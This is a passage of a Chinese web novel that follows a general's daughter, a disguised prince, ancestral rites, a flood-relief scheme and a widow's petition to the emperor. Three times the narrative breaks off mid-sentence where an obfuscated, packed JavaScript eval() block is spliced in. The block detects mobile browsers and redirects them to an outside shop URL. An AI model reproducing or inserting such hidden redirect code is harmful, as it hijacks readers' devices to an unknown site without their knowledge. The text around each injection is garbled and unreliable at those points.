黎书意缓缓睁开双眼,突然出现的光亮逼得她将眼睛眯起,待适应了,看清了自己的所在,她终于反应过来自己竟是睡着了,动了动身体,发现了身上盖着凉被。 “兰亭,怎么不叫我?”她问,声音带着醒后的慵懒低哑,说完,打了个哈欠,然后睡眼惺忪地往旁边看去,结果没看见兰亭,却是看见了谢烜赫,她诧异了一瞬,也没太放在心上,随口道,“回来了。” “嗯。” “兰亭呢?” “去忙别的了。” 黎书意闻言点头,未再多说其他,她抬眼往上空一看,见日头已经偏西,估摸着这一觉睡了得有半个时辰,本想再写一会的,可如今都快晡时了,该用膳了。 醒了会神,她拉开身上的凉被,从藤椅上起身,开始收拾桌上东西。 见少女在整理书桌,谢烜赫便上前帮忙,他将近边的纸张收拢了,然后递给少女,忽见她皱着鼻子指着砚台说:“你身上的墨味比它还要重。” 听了这话,谢烜赫忙抬手轻嗅衣服,发现确实有股墨味,这大约是在印刷铺里沾染上的。 从前,他是香囊不离身的,墨香虽重,但不需要多久便被随身佩戴的香囊给驱散了,可如今他的身份是一个贫苦的异族侍卫,用高级香料显然不合适,所以他是不配香的,离了香,沾染了墨味,自然没办法顷刻间散去。 收拾完,两人将笔墨纸砚拿到小书房,待东西归置好,他们一道出门,谢烜赫往后院去了,黎书意则往小厅走。 刚走了十来步,见兰亭从房里出来,看见她便笑迎上来道:“二姑娘,晚膳已经备好了,我现在就端进房来。” 黎书意点头,旋即进房间了。 等了一会儿,兰亭端着木托盘走进来,她将托盘里的碗碟依次拿出来,有鲤鱼脍、酒烧香螺、煎羊白肠和莲子头羹。 虽然并未做任何体力活,可是写写画画好几个时辰也会觉得饿,看着丰盛的菜色,闻着芬芳的香味,黎书意有些抵挡不住。 净了手,从兰亭那接过筷子,她准备开动。 “二姑娘……”筷子还未碰到肉,忽听见兰亭叫她。 “嗯?”她抬头。 “二姑娘,您管管时侍卫吧。” 22. 告状 “二姑娘,您管管时侍卫吧。” 听着这哀怨乞求的语气,黎书意放下了筷子,想起来前几天这小丫头就因为谢烜赫而不快,不知今日不快又是为哪般,“他怎么了?” “二姑娘,他命令我做事。”兰亭气愤道。 谢烜赫乃是昭王的独子,从小养尊处优,自出生起便是被别人伺候着长大的,若非是为了伪装,他岂会甘愿服侍他人。 与他而言,发号施令早就刻在骨子里了,估计就是一时忘了自己扮演的角色。 兰亭继续向她诉苦:“二姑娘,我知道他身世悲惨,救过少将军的命,又初来将军府,可是也不能不讲规矩啊,对我也就算了,但他不能仗着您宽仁,就对您也没大没小的。” 谢烜赫对她没大没小的?这黎书意没感觉出来,反倒觉得他一反常态地很顺从,大约是她站在熟识的角度上看待的缘故吧。 瞧着兰亭那如同青蛙一般气鼓鼓的两腮,她忍不住笑了,旋即安抚道:“好,一会我去说说他。” 说完,见兰亭展颜笑了。 解决了她的问题,黎书意开始用饭。 两刻钟后,吃了个八成饱,她放下了碗筷,用茶水漱了口,趁着兰亭撤餐盘的空档,进里间去了。 方才她在谢烜赫身上闻到了浓郁的墨香,知他应是去与部下联络了,虽然她从未问过联络点在哪,可如今也能猜测出大约不是制墨坊,便是印刷铺一类的地方。 气味有时候不可忽略,她走到妆匣前,拉开了第二层抽屉,抽屉里装着各式各样的香囊,这些都是她从前学习调香时自己摸索着配的。 挑挑拣拣,她最后择定了以雪松、广蕾香、松木和檀香木等香料配在一起的香囊,拿着香囊凑近了轻嗅,可以闻见一股沉静清雅的香味,这应当是符合谢烜赫品味的。 揣好香囊,她走出里间,还未到门口,被兰亭叫住了:“二姑娘要去哪?” “去找时野。” “找他干嘛?”兰亭扁嘴。 黎书意笑答:“我替你出气去。” “那走吧。”兰亭转气为笑,一脸的幸灾乐祸。 黎书意此去主要是去送香囊的,带着她多有不便,便故意道:“你去,不怕他找你算账?” “那还是不去了……”兰亭果然被唬住,气势一下子弱了。 黎书意这才独自往后院去了。 到了谢烜赫房门口,她抬手敲门,门打开,谢烜赫望着她问:“有事找我?” 从找香囊到来时的这一路,黎书意的心思都格外坦荡,可眼下听他这么问,她忽然觉得有点难为情了,毕竟香囊是不能随便送的。 极力驱散这种不适,她将手里的东西猛地往前递出去,嘴上刻意解释道:“哝,这个给你,如今我整个将军府的安危可都系在你身上呢。” 一样东西猝不及防塞入怀中,谢烜赫眼疾手快接下,待拿起来一看,见是一个玄青色绣着福禄寿喜纹的香囊。 他意外地看着手里的东西,随即又抬眼看着神色忸怩的少女,心里既惊喜又柔软,柔声道:“谢谢。” 东西已经送出,黎书意一时之间不知道该说什么,偏生面前的人也不找话说,尴尬蔓延开来。 她苦思冥想,最后想起了兰亭的抱怨,于是干咳一声道:“方才兰亭向我告你的状了。” “她向你告我什么了?”谢烜赫随口问道。 “她说你命令她做事。” “好像是。” 回答得还挺坦荡,黎书意往下说道:“她不知道你的身份,最近估计是见我与你往来频繁,觉得自己失宠了,她贴身伺候我三年多,大约从没受过这种委屈,你多担待点。” “她还说什么了?” “她还说你对我没大没小的。”黎书意像小孩子告状一样,窃笑着说道。 “那你觉得有吗?” 有吗?黎书意将眉一挑,打量着眼前的人,沉吟片刻后评价道:“如果把你当侍卫看,那肯定是有的,可如果把你当世子看,那便没有了。” “那你是站哪个角度的?”谢烜赫问。 这个问题把她难住了,毕竟她不可能真把他当寻常侍卫看,可是这段时日她好像还挺享受他伺候自己的。 谢烜赫似乎没有特别在意答案,在她没思索出结果时先开口表示道:“日后我会注意的。” 黎书意其实也就是随口一提罢了,并没有真的要他严格保证,此时香囊送了,聊得也差不多了,遂点了一下头道:“嗯,那我走了。” 说毕便转身走了。 看着离开的背影,谢烜赫轻笑出声,说他没大没小,兰亭分明是想借机提点他不要“异想天开”,小丫头还挺婉转,不过倒是衷心爱主。 …… 七月半,中元节至,在这天祭先祖、祀亡魂是由来已久的习俗,因活动主要集中在晚上,所以整个上午黎书意依旧在写她的书。 由于日子特殊,今日学馆休沐,兄长不需要上课,父亲也将从军营赶回来。 将近未时,得前院通传,说父亲、叔父已经归家,她立马换了身素净的衣裳,然后便往主院赶去。 虽营地距离孟章相隔不远,但父亲并不常归,他们已经有一月未曾见面。 进到正厅,她向父亲问安,刚说没两句话,兄长也来了,三人便坐在一起闲聊,父亲先问了兄长的学业,接着又问起她写书的情况。 谈至申时,富春姑姑来通报,说席面已经备好了,于是他们便起身一道往祠堂去。 祠堂在府邸西侧,是一座独立的小院。三人行至半路,碰见叔父叔母,大家便并道而行。 到了祠堂,见院中空地上其他宗亲已经到齐了,虽同住一府,关系也和睦,但到底都是各有家室的人了,为行方便,他们便一直分锅灶,然祭祖乃是宗族大事,自然得一起。 互相见了礼,大家移步往祠堂大殿去,最后进了右侧偏厅,凡黎氏遇宗族大事,便会在此置办宗宴。 到厅中,众人按辈分入座,坐下后仆从紧接着呈上菜肴酒水,难得聚在一起,桌上大家闲话家常,气氛轻松愉悦。 待酒足饭饱,又稍坐了一会,所有人移步至祠堂正厅。 只见厅中烛火星星点点,内设四龛,神位依次为高祖考、高祖妣和考、妣的牌位、姓名字号,每龛前各设一矮长桌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545681|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用以摆放祭品。 作为黎家家主,黎横天站在最前面,黎裕与其妻赵氏次之,黎长策与黎书意第三排,其他宗亲也按辈分排序而站。 黎横天从富春姑姑手中接过长香,然后在火烛上燃着,接着他双手持香而拜,后首所有人便跟着扣拜。 等礼数行周全了,大家相继转身出门。 院落南边的空地上早设好祭台,两张长香案并排而放,上摆两鼎香炉,香炉两侧又各摆两张小几,一张放水果、水饭和酒菜,一张放金银纸锭、白黄纸钱和贴名包衣。 黎书意走到左边那张香案前,跪到了蒲团上,接着她从旁侧拿起一沓纸钱,在香烛上燃着了便扔进面前的火盆里。 等纸钱燃烧殆尽,她把贴有母亲名字的包衣扔进火里,并在心里默默倾诉道:“母亲,女儿真的好想你。” 父亲、兄长在她旁边跪下,其他人也都沉默着开始烧衣祭祀,一时间院里火光冲天。 元宝、纸钱、纸衣……黎书意不时往火盆里扔东西,纸遇火迅速燃起,所散发出的热气蒸得人有些难受,她蹲在火前,看着跃动的火苗不禁陷入回忆。 母亲是去岁初冬离开的,一场飞来横祸带走了她。 当时外祖母生病了,母亲去客郡探母,她因时不时被皇后召入宫中谈话,所以那次便未跟去。 因牵挂着外祖母的身体状况,她一直在等母亲的消息,平常去那里只需六七日,然而那次过了十多天依旧没收到传信,过两日才知那里竟然爆发了时疫。 这时疫本发自临郡,那里两月前发生了一场地震,致使房屋毁损,百姓死伤无数,许多尸体因未能得到及时的处理,最终便引发了疫病。 半旬之后,随着疫病范围扩大,当地官员便下令封锁了全城,有些难民担心自己沾染上,于是想方设法逃了出来,其中一批流进了客郡,疫病就这么传开了。 闻此骇人的消息,她与父兄急得团团转,担忧母亲和外祖母那边的情况,然而当时整座城镇已经被封锁了,他们根本无从了解城中情况。 后来通过多方打探,终于得到了消息,只是来的不是喜讯而是噩耗,据随行侍卫传回的书信所言,说母亲在半途上曾撞见过那批身染疫病的流民,见他们可怜,还给了他们食物与银钱。 因为彼此并不知道疫病已经存在,所以未有防范,母亲在入客郡之前便病倒了,请大夫来看时才知染了疫病。 而那时,那批流民早到了城中,他们无处可归,便在街上游荡,踪迹遍布各处,不过两日,城中就有不少人染病,好在是冬季,疫病没有大肆传播开。 得知这样的情况,三人急得当即便举家前往,可还是迟了,等赶到时,见到的是停放在正房大厅里的棺椁。 她不愿相信,忙踉跄着跑上前去看,见棺材里空落落的,她庆幸地松了一口气。 下一刻,表姐姚书颜走上前来,摸着她的肩膀对她说,因为母亲患了疫病,为防止疫病进一步扩散,所以遗体一直存放在寺庙里,她听后当场便晕倒了。 不知是想起母亲,还是因为燃烧纸钱产生的烟雾熏人,她眼眶渐热,靠着拼命忍耐,才没有让眼泪流下来。 23. 怜惜 橙红色火焰在一张张晦暗不明的脸上跃动着,青纱一样的烟尘浮动变幻,祠堂院子里一片安静,只偶尔传来纸张燃烧的噼啪声。 因祭品都是纸做的,所以燃得极快,不到两刻钟,几张桌子上堆积如山的物品已经烧了个七七八八。 黎横天从蒲团上起来,拍了拍身上沾染的灰烬,对院里的仆从道:“你们都散了各自去祭祀吧,院子明日再来打扫。” 大家族里一般不允许下人私祭,但祭祖奠亲本是人之常情,根本就避免不了,既然无法杜绝,不如允之。 本着这样的想法,将军府主母姚氏当家时便立了条规矩,规定仆从们可在后院池边的空地上祭祀,只事后必须打扫干净。 得了令,仆从们欣然退下。 “对了,”黎横天叫住一人,对那小厮道,“去把时野叫来。” 等谢烜赫入院时,黎裕与妻子赵氏,还有其他宗亲也都已经离开了。 黎横天从香案上拿起三柱香,对谢烜赫道:“来为你父母上一柱香。” 谢烜赫点头,他从世伯手里接过点燃的长香,然后走到鼎炉前,三鞠三拜后将香插进了鼎炉里。 接着,他在黎书意旁边跪下,从小几上拿了元宝和纸币,放到几近熄灭的火里引燃。 黎书意看着面前的长香,又瞟了一眼默然不语的谢烜赫,心里生出一种难以言说的怜惜。 她可以明祭家人,他却不能,因为他的家人此时身上还背负着叛臣贼子的罪名。 昭王毕竟是皇族,虽封号被褫夺了,但是夫妻二人的尸身到底被好生收敛了,不过并未享受到他们该有的待遇,听说只是在封地起了一座小陵,下葬时也没什么陪葬品。 事发之后,谢烜赫便一直在逃亡,那陵墓估计时时都有人看守着,他应该不曾回去祭拜过。 想得越多,心疼的情绪越浓,她想要给这个孤苦伶仃,在暗夜里独行的少年一些安慰,记得母亲离开时,父兄忙碌无比,是他陪在自己身边。 当日,醒来之后她先大哭了一场,哭够了她换上孝衣,进入寺庙设的灵堂跪在棺前守灵。 她从午间一直守到晚上,到了用膳的时候也不愿离开,父亲和兄长劝了她多次,见劝不走,只能作罢。 她跪在蒲团上,看着黑色的棺椁和燃烧的白烛,想不通母亲为何会遭此厄运,她只接受了疼爱,还未来得及敬孝。 这时,谢烜赫进来了,站到她旁边说:“你这样让你母亲如何能走得安心?” “姚夫人一向疼你,你若是熬坏了身子,她会担心的。”说着他蹲下身来。 “为什么,她明明还很年轻。”黎书意侧过头,不甘地质问。 最后,她憋不住,情绪大爆发,哭了出来,等她哭够了,心情平复了,才反应过来自己竟然靠在谢烜赫的胸膛上,而他的衣襟早就潮湿一片了。 “对不起……”她尴尬地道歉。 谢烜赫没有责怪她,只轻声对她说:“我送你回去休息吧。” 她听后点头,在他的搀扶下起了身,逼自己用过饭,然后就回房休息了。 其实,她与谢烜赫的关系后面已经逐渐回暖了,只是尚未破冰前便突发了那样惨烈的意外。 从回忆中走出,黎书意的手搭在谢烜赫的胳膊上,郑重地说:“我们一定可以为你父王恢复清誉的。” 谢烜赫老早就发现边上少女的怜惜目光,忽然见她这么做,觉得既好笑又感动,最后他说了“谢谢”两个字。 …… 七月下旬,孟章全面进入雨季,隔三差五便逢阴雨天,雨势并不大,淅淅沥沥的,天气也不很凉,刚好洗刷残暑的燥热。 因着连日下雨,并不方便在外走动,是以黎书意便整日待在书房里。 这天,她一口气写了两个时辰,不禁感觉眼睛胀痛,手腕酸涩,于是便搁下笔稍作休息。 走到窗边,见外面的细雨如蛛丝网密密斜织着,院里朦胧一片,最近一颗心扑在写书上面,看了这雨她方想起谢烜赫那日所说的话。 北地都如此了,南地则更不用说,可能社郡早就泛滥成灾了,于是便转过头问不远处的人:“差不多是时候了吧?” “是。”谢烜赫点头。 兰亭正在倒茶,听了两人的对话一头雾水,是时候了,什么是时候了? 她皱眉苦索,终是得不到答案,心中便有些吃味,二姑娘与时侍卫显然背着她有秘密了。 上回她告状后时侍卫果然收敛了,没有再命令她,也很少抢她的事了,然而二姑娘和他的关系并未变差,据她观察,似乎还更要好了呢。 这可真气人! 次日,黎书意刚用过早膳,富春姑姑来至院里,告知她说父亲回来了,让她去书房,说是有事交代。 一听这话,她便知是有要事要说,于是便快步往父亲院里赶去。 进入院中到了书房,发现不止兄长在,谢烜赫也在,见此情景,她立刻猜到要事和大计有关。 谈话前,父亲先遣退了所有侍从,并命沥泉在门外把守。 扑面而来的严肃气息令黎书意的心扑通扑通直跳,此刻她既激动又紧张,目光直直追随着父亲。 只见他走到房屋中央,视线从他们三人脸上一一扫过,然后缓慢地开口说道:“今早朝廷收到田州那边传来的急报,说两天前沱河堤坝垮塌,附近四郡共二十一县皆遭到波及,其中属社郡最为严重,摧毁官亭室庐粗略估计约万所,淹死的百姓数目难以计算。” 黎书意闻之惊颤,感慨在天灾面前人是多么渺小。后来又想到,遭遇这样的灾害本就足够艰难了,结果还有人为了谋财故意加重灾情。 虽前次已经听谢烜赫提过李振益的恶行,但这回听见那些骇人的数目,她更加直观地感受到他的可恨之处,不由气涌如山,胸中怒火控制不住地翻腾。 房间里的四人都因为愤然和无力而陷入沉默,一时间,压抑沉重的气息在密闭的空间弥漫开来。 “陛下是如何决策的?”半晌,黎长策打破寂静问道。 黎横天回说:“陛下从国库拨了五万两灾银,让社郡都水朱彦负责主持河务。” “哼!”谢烜赫闻言冷哼一声,“他早已经和社郡地方官员勾结在一起了。” “从这里押运粮草到社郡最快十天,所以半月后就可以展开计划了。”黎横天说着看向谢烜赫,“贤侄,你可准备好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545682|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “从未懈怠过。”谢烜赫面容沉肃,目光犀利,宛如一只正在捕食的猎鹰。 …… 依旧是雨天,雨打在池塘、树冠和屋瓦上,满院都是滴滴答答的粘稠之声。 黎书意执笔书写,写着写着思绪不经意便飘远了,兀自盯着窗口发起呆来,等她反应过来时,落笔之处早晕开一团黑墨。 那一议之后的第二日,谢烜赫便动身去社郡了,为了让时野离开得合理,用的理由是他父亲忌日将至,他想将骨灰带至家乡安葬,让他落叶归根。 如今已过去四日,却无半点音信传回,明明知道谢烜赫路赶事杂,可黎书意还是牵挂得不得了,盼能早日来信。 因静不下心来,她索性搁下笔,想着去父亲那里问问有没有那边的消息了。 刚踏入尚姜院,就见沥泉带着展元快步进书房了,看他们形色匆匆的模样,便知是有事发生,来不及细想,见门是敞着的,她也就跟进去了。 进屋以后,听展元正向父亲报说:“大将军,黎副将和果毅都尉郑彬昨夜在玉宇酒楼打架,被抓了起来!” 闻言,黎书意眉心一跳,事情虽与社郡水患毫不相干,却依旧牵动着她的神经。 父亲则相对冷静,沉稳道:“你仔细说。” 展元点头,然后开始叙述经过:“昨日休沐,黎副将和军中几个兄弟去玉宇酒楼喝酒,在那里碰见了郑彬,郑彬出言不逊,黎副将又喝了点酒,经受不住刺激,一时激动便出手了。” 黎书意听后轻叹口气,虽然按辈分她称黎裕一声叔父,但实际上他也就才比她大六岁,叔父是一个勇敢正直,嫉恶如仇的好人,然而也有明显缺点,那便是脾气暴躁,行动莽撞。 “那郑彬伤势如何?”父亲询问起来。 展元回说:“不是什么大伤,就脸上和胸腹处挨了些拳头。” “那复盛呢?” “伤的差不多。” “店内损失如何?” “卑职已经向店家道过歉,也赔偿损失了。” 父亲点头,接着道:“我与你一道去县署看看。” 说着,两人朝门口走来。 黎书意望向父亲,这事虽然不算什么大事,但是恐会牵累到他,一想到这她忍不住担忧。 黎横天早看到了女儿,见她双眉不展,便安慰道:“不必担心,我一会儿就回来。” 说毕,与展元朝外走去。 黎书意站在门内侧,本是来向父亲询问是否有谢烜赫消息的,然而不仅没得到消息,还新添了一桩愁人的事,在父亲和展元离开后,她便也回自己的院落了。 酉时,兄长归家,他显然是听见了风声,所以才特地赶回来的,一见到他,黎书意忙问:“父亲可会因此受责罚?” 黎长策神色晦暗不明,说:“这得看郑彬的态度。” 郑彬的态度,一听这话黎书意的心顿时凉了大半截,郑彬摆明就是看黎家军不顺眼,所以才刻意激怒叔父,恐怕没那么好摆平。 事情一刻没解决,她便一刻不能安心,一直坐在榻上等着,直等到二更天,父亲才终于归府,得到通传她急忙起身,疾步如飞地赶去父亲院中。 24. 御状 从官衙回来,黎横天疲惫地进入尚姜院,刚坐下没一会,就见儿女们急切地跨进屋内,两人一脸担忧地看着他。 今日午后,他与展元赶到官衙,一进大堂就看见郑彬和他的上级折冲校尉周恂当着孟章令的面痛斥复盛目无王法,居功自傲。 复盛则一直低着头,可能知道目前将军府的处境不好,所以便强压着怒火,任由对方责骂,看着在战场横戈盘马的将军像做错事的孩子一样默然无语,他一阵揪心。 见他来了,郑彬更是趾高气昂,不停地向他控诉复盛的种种不是,把自己摘得干干净净,并将三分痛说成七分。 周恂也在一旁添油加醋,满脸义愤填膺,一副为部下出头的模样,两人你一言我一语,句句紧逼,势要他给出一个说法,他岂会看不出他们是故意给他难堪的。 只是如今将军府如履薄冰,每一步都需要小心翼翼,即便他心中不忿,却也只能低头,他当着两人的面斥责了复盛一顿,然后又代为道歉,这才基本平息了对方的怒气。 见儿女们挂心结果,黎横天沉静地告知道:“我已代复盛道过歉了,郑彬决定不追究了。” 道歉!郑彬何德何能,黎书意心中不满,后来一细想,与小人纠缠只会惹得一身腥,早甩开早好,便释然了,转而问:“那叔父呢?” “在牢里。” “不都已经私了了吗,为何还不放人?”她既不解又不忿。 下一刻,听见父亲解释道:“为父是可以将他带回来,但是那样会引起不满。” 好吧,也只能这样了。 虽然不尽善尽美,事情总归得到了解决,时候已经不早,交流完情况,三人便各自安歇去了。 然而,次日的早朝上,黎横天却遭到了弹劾,周恂斥责他治军不严,部下仗势欺人。 陛下闻之大怒,罚他三个月俸禄,并要求他整顿营中军纪。 黎书意得知后气愤不已,叔父打人分明是因为郑彬恶语中伤在先,黎家军一向治军严格,眼下不过寻到了丁点错处,就被指摘被责罚了,果然树大招风。 “算了,这责罚并不算重。”黎横天拍着女儿的肩说,顿了顿又道,“只是这样我便无法请缨去社郡了。” 是啊,黎书意听后心弦一颤,经提醒,才终于想起这茬来,不由愁眉紧锁。 如今父亲被勒令整军,是不可能离开军营的,那随军的重任终将落到别人头上,她倒不是怕被抢功劳,只怕钦点的官员经不住诱惑被收买了,那样他们还如何将李振益拉下台呢。 隔天,黎横天便回巨杨营了。 下午,黎书意收到一封信,她直觉是谢烜赫写的,等了好几日终于有消息了,一进书房,将门合上,她便迫切地拆了信封展开信纸。 信确实是谢烜赫所写,信上说他昨日便已经到社郡了,还说现在社郡受灾县城正在进行灾后重建。 果如他料,派去赈灾的官员与地方官串通一气,他们每日只顾吃喝玩乐,在治水重建上极度敷衍,百姓境况凄惨。 最后又说,由于水患导致交通不便,书信可能滞后,让她不要太担心。 由于父亲在军营,兄长在学馆,眼下她无人可以商量,于是便自作主张回了信。 她先将父亲因叔父打人之过被弹劾责罚的事简单叙述了一番,末尾处又表达了恐无法按原计划进行的担忧。 待墨迹干透,她将信装好,唤来兰亭:“找个可靠的人将信送到西陵轩去,务必亲自交到祖老板手上。” 捏着手中的信,她想起了谢烜赫临行前一日与她在书房交谈的场景。 当时,她询问他到了那边她要如何与他联系,他回说去找祖绣萱,她听后惊异非常,实没想到祖老板竟然与谢烜赫有关系。 然而,接下来谢烜赫告诉了她一个更加劲爆的秘密,他说祖绣萱是他的表姐,她愕然愣住了,以为他在同她开玩笑,但是发现他表情认真,不似作假。 恍惚间,脑袋里闪出一个片段,记得谢烜赫刚到府上没多久时,她曾带他逛过西陵轩一次,那日她碰见过他与祖绣萱站在一起说话。 彼时,她就觉得奇怪,祖绣萱解释说是询问他安士服饰的特色,因为实在看不出两人能有什么交集,所以她信了。 眼下再看,说不定那时他们在叙表亲之情,或者在交流情报。 可他们怎么会是表亲呢?她真的想不到这层联系。 看出了她的难以置信,谢烜赫紧接着解释起来:“我外祖母辛清莹其实本姓祖,她原是‘西陵织造司’上一任家主的女儿,她身为嫡女,又有经商头脑,可因为是女儿身,曾祖父便固执地将她排除在继承人之外,我外祖母对此感到不满,数次抗争无果,最终便与家里闹翻了,她直接离家出走,改母姓另迁他地自立门户了。” 她听得一愣一愣的,消化了许久,疑惑发问道:“那你们两家如何还会有联系?” 谢烜赫回答说:“我曾祖母一直惦记着我外祖母,外叔祖父人很开明,在曾祖父死后他们便希望恢复关系,外叔祖父也愿意让外祖母打理一半家产,可那时我外祖母自己的生意已经做得很不错了,于是就没答应,只私下恢复了往来,因此没多少人知道。” 想起从前他提过的祈安阁,以及如今隐秘的传信渠道,她求证般问道:“所以西陵轩便是祈安阁的据点?” 谢烜赫点头道:“嗯,是线人据点。” “线人据点,这还分种类的吗?”她好奇追问。 谢烜赫解释说:“线人据点里的人并非受过专业训练的暗卫,他们多为我父亲救助过的人,或者像表姐一样,是昭王府的远亲,他们的本职身份是第一位,祈安阁的线人身份是第二位,他们不伪装不深入危险环境,只利用自身身份之便,将可能对王府造成威胁的情报传给王府。” “那另外的呢?” “另外的便是受过专业训练的暗卫,他们需要通过伪装等方式混入到各种人群之中,获取所需情报,或者是深入危险的环境之中,获取重要物品和信息,必要时也要求完成刺杀之类的任务。” “原来是这样……”她了然点头。 从回忆里抽离,黎书意眸子重新聚焦到手里的信封上,待兰亭拿着信转身离开后,她在榻上坐下,空悬已久的心算是落到了实处,尽管后面可能会出现很多未知的麻烦。 心知父兄与她一样,都记挂着这事,兄长可以等晚上回来了直接告知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545683|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可父亲那边……才发生了被针对的事,她不敢贸然用书信的方式传递,思来想去便决定亲自去军营一趟。 次日,她吩咐厨房备了些父亲爱吃的点心,又让富春姑姑收拾了几件他的衣物,然后往军营去了。 军营乃是练兵重地,闲杂人等不可随意靠近,她因着是亲眷的缘故,得到了优待,不过仍不好留太久。 到得父亲大帐中,她吩咐兰亭把带来的衣物拿去归置好,然后便坐在椅子上等着。 待瓷杯中的茶饮尽,父亲结束练兵走入帐中,只见他身负盔甲,脸上带汗,看见她,父亲先温声斥责了几句,然后遣退了左右,她也让兰亭出去。 只剩下父女二人时,黎横天换上正色问:“突然来此,可是那边有消息了?” 黎书意点头,接着将谢烜赫信上所言先复述了一遍,然后又告知了自己的回信内容。 “计划赶不上变化,如今只能走一步看一步,他历来聪明,你不必太过担心。” 黎书意明白。 接着,又闻父亲说:“父亲和黎家军如今站在风口浪尖上,你时常出现恐引起猜疑,以后有事你和长策商量着拿主意即可。” “好。”她应下,虽倍感压力,但这是重视与信任。 想着父亲整军辛苦,黎书意没有再聊更多,嘱咐他保重身体,然后便带着兰亭离开了。 晚上,兄长回到家中,黎书意将谢烜赫的来信递给他看,又将自己的回信,去军营见父亲,以及父亲的嘱咐悉数说与他听。 如此等了两日,黎书意收到谢烜赫的第二封信。 和她的担忧相反,谢烜赫显得非常冷静,他说社郡的案子关乎土地兼并,如今西景的局势本就不稳,皇帝必然会认真对待此事,派遣查案的人选定会好好择选。 这番分析让黎书意的心情愈发安定,她开始等待那一天的到来。 七月二十日,帝后及随行妃嫔结束了行宫避暑,浩浩荡荡的队伍行在官道上,宛如一条五彩长龙。 道路两旁挤满了前来凑热闹一堵天子仪容的百姓,一时锣鼓喧天人声鼎沸。 忽然,一个站在队伍前排的民妇挣脱了护卫军,冲到了车撵前面。 附近的护卫很快发现了,他们急忙转身扯住民妇的胳膊,企图用蛮力将她拉回来,可那民妇拼命地挣扎,嘴里声嘶力竭地大喊道:“皇上,民妇任氏,田州社郡人,状告郡中恶霸李缨奸杀民妇之女。” 即便她的双手被桎梏住,却仍在奋力呼喊,声音一声高过一声。 车驾中,景帝正杵着胳膊闭目养神,奈何街上人声嘈杂,就像是蚊子苍蝇在耳边乱叫,被搅了清静,他烦躁地睁开眼睛。 双目睁开的刹那,恰好撞见了那穿着粗布麻衣脱离控制的民妇,起先他不当一回事,以为她只是一时激动罢了,后来见她在极力抵抗,这引起了他的反感。 “……民妇状告李氏族人横行乡里,广占田地!” 听清她口里后半句话,景帝向赵让摆了摆手。 见陛下指示,赵让急忙叫停了车驾。 那民妇看车驾停下了,便放弃了挣扎,原本在欢呼的民众此时都注意到了异常,也渐渐安静下来了。 25. 钦点 景帝从车撵上下来,他走到民妇跟前,民妇见了他,“扑通”一声跪在地上。 “你有何冤屈,细细与孤说来。”景帝居高临下地看着民妇。 任氏重重磕了两个响头,然后开口说道:“民妇是社郡人氏,民妇之女名唤闵晗,去岁乡绅李缨到家中收租,瞧上了她,之后便数度调戏于她,那日那恶棍趁着家中无其他人在,偷闯进家里,强行霸占了民妇的女儿,民妇的女儿因为不从,在挣扎的过程中被他给活活掐死了。” 听了民妇的话,景帝的神色淡下来,口中不耐道:“这事你上当地的衙门报官即可。” “民妇报官了,”任氏忙道,她神色愈发激动,“李缨是当地的世族,他叔叔是郡守,其他官员也多为李氏族人,在社郡势力庞大,他们官官相护,横行乡里,贪污腐败,民妇从县衙一直向上告,可每次总是草草结案,根本申冤无门。” 景帝闻言眉毛一扬,说:“这李氏是如何横行乡里,贪污腐败的你且说来。” 任氏点头,然后叙述起来:“社郡多水患,朝廷每年都会拨款,这些地方官员便借机中饱私囊,为了不被揭发检举,他们还笼络朝廷亲派的赈灾钦差,广摆筵席敬献礼物以示欢迎,然后再合谋贪污赈灾银两,钦差收了贿赂,自然隐瞒真实情况,在治水之事上也贪懒敷衍,偷工减料。” 景帝越听眉头皱得越深,社郡的水患一直是他的心病,那地方河网密布,每年一到雨季河口总是溃堤,冲毁民舍良田无数,这些年朝廷不知投进多少钱去,却总无法根治。 前几日,朝廷又收到社郡爆发水患的急报,眼下他正为安置灾民和清理河道之事焦头烂额。 他不是不了解下头的官员会克扣银两,只要适度他也就睁一只眼,闭一只眼,却没想到他们竟然中饱私囊到这个程度,竟然还妄图瞒天过海。 “你说的可属实?” “属实。” “可还有什么要说的?” 任氏道:“民妇家里原是自耕农,受水患的影响,田里的农作物被毁,因得不到赈灾贴补,为了维持生计,又迫于李氏的权势,不得不贱价将田卖给他们,成为佃农。” 非法侵占土地,听到这话,景帝的眼睛骤然一眯,动怒道:“岂有此理。” “求皇上给民妇做主。”任氏说着在地上伏拜。 景帝看一眼跪在跟前的民妇,再瞥一眼两道的百姓,御状是当着数千民众的面告的,为了民心,哪怕只是芝麻大的小事,都要好好完成。 